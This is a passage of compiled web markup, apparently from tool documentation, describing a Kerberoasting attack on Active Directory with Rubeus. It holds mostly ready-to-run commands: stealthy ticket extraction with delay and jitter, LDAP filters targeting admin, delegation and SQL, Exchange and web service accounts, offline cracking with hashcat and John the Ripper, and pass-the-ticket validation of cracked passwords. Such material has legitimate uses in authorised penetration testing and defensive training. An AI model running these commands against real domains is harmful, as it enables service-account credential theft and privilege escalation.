Format`,id:`hashcat-format`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$krb5tgs$23`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`$`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`svc_sql`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$CORP`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.LOCAL`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$MSSQLSvc`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`/sql01.corp.local:1433`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$a1b2c3d4e5f6`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`...`})]}),`\n`]})})}),_jsxs(ResponseField,{name:`Format Components`,type:`object`,id:`param-format-components`,children:[_jsx(_components.p,{children:`Breakdown of hashcat format structure`}),_jsx(Expandable,{title:`Structure`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`$krb5tgs$`}),` - Kerberos TGS identifier`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`23`}),` - Encryption type (RC4-HMAC)`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`*svc_sql$CORP.LOCAL$`}),` - Username and domain`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`MSSQLSvc/sql01.corp.local:1433*`}),` - Service principal name`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`$hash_data`}),` - Encrypted ticket portion for cracking`]}),`\n`]})})]}),_jsx(_components.p,{children:_jsx(_components.strong,{children:`Cracking Command:`})}),_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`hashcat`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -m`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 13100`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast_hashes.txt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /usr/share/wordlists/rockyou.txt`})]}),`\n`]})})})]}),_jsxs(Tab,{title:`John Format`,id:`john-format`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`1`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`svc_sql:$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3d4e5f6...`})}),`\n`]})})}),_jsx(ResponseField,{name:`John Format`,type:`string`,id:`param-john-format`,children:_jsx(_components.p,{children:`Username prefix with colon-separated hash`})}),_jsx(_components.p,{children:_jsx(_components.strong,{children:`Cracking Command:`})}),_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`john`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` --format=krb5tgs`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast_hashes.txt`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` --wordlist=/usr/share/wordlists/rockyou.txt`})]}),`\n`]})})})]}),_jsxs(Tab,{title:`AES Hashes`,id:`aes-hashes`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$krb5tgs$18`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`$`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`svc_sql`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$CORP`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.LOCAL`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$MSSQLSvc`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`/sql01.corp.local:1433`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$a1b2c3d4e5f6`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`...`})]}),`\n`]})})}),_jsx(Note,{children:_jsx(_components.p,{children:`AES-encrypted hashes (type 18) are significantly harder to crack than RC4 hashes (type 23) and may not be practical for offline attacks.`})}),_jsx(_components.p,{children:_jsx(_components.strong,{children:`Hashcat AES Support:`})}),_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`hashcat`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -m`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 19600`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` aes_hashes.txt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` wordlist.txt`}),_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:` # AES128`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`hashcat`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -m`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 19700`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` aes_hashes.txt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` wordlist.txt`}),_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:` # AES256`})]}),`\n`]})})})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`complete-attack-workflow`,children:`Complete Attack Workflow`}),`\n`,_jsxs(Steps,{children:[_jsxs(Step,{title:`Initial Reconnaissance`,children:[_jsx(_components.p,{children:`Discover service accounts and assess the target environment:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Get statistics about service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /stats`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target administrative service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"admincount=1\"`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /stats`})]}),`\n`]})})})]}),_jsxs(Step,{title:`OPSEC-Safe Extraction`,children:[_jsx(_components.p,{children:`Perform the actual kerberoasting with stealth considerations:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# OPSEC-safe kerberoasting with delays`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /opsec`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /delay:5000`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /jitter:30`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:hashes.txt`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target specific high-value accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:svc_sql`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /opsec`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /format:hashcat`})]}),`\n`]})})})]}),_jsxs(Step,{title:`Hash Processing`,children:[_jsx(_components.p,{children:`Prepare hashes for cracking with external tools:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Extract hashes to file`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:hashcat_hashes.txt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /format:hashcat`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /nowrap`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Verify hash format`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`head`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -n`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 5`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` hashcat_hashes.txt`})]}),`\n`]})})})]}),_jsxs(Step,{title:`Offline Cracking`,children:[_jsx(_components.p,{children:`Use hashcat or John the Ripper to crack the extracted hashes:`}),_jsxs(CodeGroup,{children:[_jsx(CodeBlock,{filename:`Hashcat`,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Basic dictionary attack`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`hashcat`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -m`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 13100`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` hashcat_hashes.txt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /usr/share/wordlists/rockyou.txt`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Advanced rule-based attack`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`hashcat`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -m`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 13100`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` hashcat_hashes.txt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` wordlist.txt`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -r`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` rules/best64.rule`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Mask attack for corporate passwords`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`hashcat`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -m`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 13100`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` hashcat_hashes.txt`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -a`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 3`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` ?u?l?l?l?l?l?d?d?d?s`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`John the Ripper`,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Dictionary attack`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`john`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` --format=krb5tgs`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` john_hashes.txt`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` --wordlist=rockyou.txt`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Show cracked passwords`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`john`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` --format=krb5tgs`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` john_hashes.txt`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` --show`})]}),`\n`]})})})]})]}),_jsxs(Step,{title:`Credential Validation`,children:[_jsx(_components.p,{children:`Test cracked credentials for access and privileges:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Test cracked service account`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` asktgt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:svc_sql`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /password:CrackedPassword123!`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ptt`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Enumerate accessible services`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` asktgs`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /service:cifs/fileserver.corp.local`})]}),`\n`]})})})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`advanced-targeting-strategies`,children:`Advanced Targeting Strategies`}),`\n`,_jsxs(Tabs,{children:[_jsxs(Tab,{title:`High-Value Targets`,id:`high-value-targets`,children:[_jsx(Expandable,{title:`Administrative Service Accounts`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Accounts with administrative privileges`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"admincount=1\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Accounts in privileged groups`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"memberof=CN=Domain Admins,CN=Users,DC=corp,DC=local\"`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Delegation-Enabled Accounts`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Constrained delegation accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"msds-allowedtodelegateto=*\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Unconstrained delegation (high value)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"useraccountcontrol:1.2.840.113556.1.4.803:=524288\"`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Service-Specific Targeting`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# SQL Server service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"serviceprincipalname=MSSQLSvc*\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Exchange service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"serviceprincipalname=exchangeMDB*\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# IIS/Web service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"serviceprincipalname=HTTP*\"`})]}),`\n`]})})})})]}),_jsxs(Tab,{title:`Password Age Targeting`,id:`password-age-targeting`,children:[_jsx(Expandable,{title:`Old Passwords`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Passwords not changed in 2+ years (likely weak)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` 